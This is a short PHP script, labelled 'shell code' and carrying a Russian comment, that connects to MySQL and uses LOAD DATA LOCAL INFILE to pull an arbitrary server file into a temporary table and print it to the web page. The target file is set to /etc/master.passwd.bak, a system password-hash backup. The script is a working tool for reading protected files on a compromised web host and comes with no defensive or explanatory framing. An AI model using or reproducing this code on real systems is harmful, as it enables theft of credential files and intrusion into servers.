<?
// config this data
$dbhost = "localhost";
$dbuser = "[dbuser]";
$dbpasswd = "[dbpass]";
$dbname = "[dbname]";
$file = "/etc/master.passwd.bak"; #имя файла для просмотра

// shell code
        echo "
";

                                mysql_connect ($dbhost, $dbuser, 
$dbpasswd);
                                $sql = array (
                                   "USE $dbname",

                                   'CREATE TEMPORARY TABLE ' . ($tbl 
= 'A'.time
()) . ' (a LONGBLOB)',

                                   "LOAD DATA LOCAL INFILE '$file' INTO 
TABLE
$tbl FIELDS "
                                   . "TERMINATED BY      
_THIS_NEVER_HAPPENS_ "
                                   . "ESCAPED BY          '' "
                                   . "LINES TERMINATED BY
_THIS_NEVER_HAPPENS_",

                                   "SELECT a FROM $tbl LIMIT 1"
                                );


                                foreach ($sql as $statement) {
                                   $query = mysql_query ($statement);

                                   if ($query == false) die (
                                      "FAILED: " . $statement . "\n" .
                                      "REASON: " . mysql_error () . "\n"
                                   );

                                   if (! $r = @mysql_fetch_array ($query,
MYSQL_NUM)) continue;

                                   echo htmlspecialchars($r[0]);
                                   mysql_free_result ($query);
                                }
    echo "

---";

?>